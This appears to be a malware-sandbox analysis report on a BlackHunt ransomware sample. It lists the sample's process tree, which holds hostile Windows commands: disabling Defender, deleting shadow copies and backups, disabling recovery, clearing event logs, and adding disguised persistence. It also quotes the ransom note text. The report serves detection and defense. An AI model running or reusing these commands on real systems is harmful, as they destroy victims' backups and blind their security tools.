ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 51 PID 2548 wrote to memory of 2496 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 51 PID 2548 wrote to memory of 2496 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 51 PID 2548 wrote to memory of 2516 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 53 PID 2548 wrote to memory of 2516 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 53 PID 2548 wrote to memory of 2516 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 53 PID 2548 wrote to memory of 2516 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 53 PID 2688 wrote to memory of 2532 2688 wbadmin.exe 143 PID 2688 wrote to memory of 2532 2688 wbadmin.exe 143 PID 2688 wrote to memory of 2532 2688 wbadmin.exe 143 PID 2548 wrote to memory of 2472 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 55 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2548 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2508
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2688
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:2532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2732
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2684
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:1880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2736
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2496
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2516
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2472
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2332
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2512
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2708
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2952
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2420
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:816
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1652
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2444
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1932
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1124
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2576
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1644
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2780
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1896
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:320
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1700
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2768
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2760
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe" /F2⤵PID:2812
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe" /F3⤵
- Creates scheduled task(s)
PID:2176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1772
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:604
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2760
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:488
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1872
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1308
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1956
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2188
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1652
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2076
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
- Adds Run key to start application
PID:2532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1504
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
- Suspicious use of WriteProcessMemory
PID:2688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1204
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2468
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:4476
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:4484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:4184
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:4436
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:4152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:4036
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3964
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3988
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3804
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3912
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2656
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:604
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3200
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5012
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1780
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3876
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2652
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3796
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4424
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1208
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:4172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3892
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:4376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2760
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:4372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3800
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:4388
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:4576
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:4384
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"2⤵
- Deletes itself
PID:4088 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:4404
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4300
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3144
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1892
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3152
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD56b0e970406238bb8d7d0bb58d8be90f6
SHA1d0c2df27f87c15f73b1cae834620bfa58d5af3e8
SHA256799136bf7e979293efec19aebc7999b40c210a78cfa881952f550fdc5785cf87
SHA51270c9d3f063194db7ef841da804afb1680ec02315df10068bdf4ad45a18438ecaf74d74170952517606a2c152e676695bc9a8fbc1aff884461d724c68c3c70aea
-
Filesize
12KB
MD585e34a62977d8cc3f5527d12a67af71e
SHA112eda86aaa3a6196b628cb9485715e19ace6f34b
SHA256c77c808c01551d17569db748848114d34d2a8fdb324ecc59dc4d4c9019da03bb
SHA512aa1b29fe18fd6cf7093d7b4944c75130a2fa8ebfa5be1b100e628a2df6e934496fcf9b30f98d176bc0fa40f8668241b98a4d5c27964db3bf253a6b08f702add0
-
Filesize
684B
MD52fa87608eb9cbb4195e2fcebe9c2090b
SHA166808e29ada49f6e076b27545a8cd0d7ec8acc19
SHA256488eea0bcc5e9499d1f6e260013d311c79f4132171a5b400837c96cdd001a40f
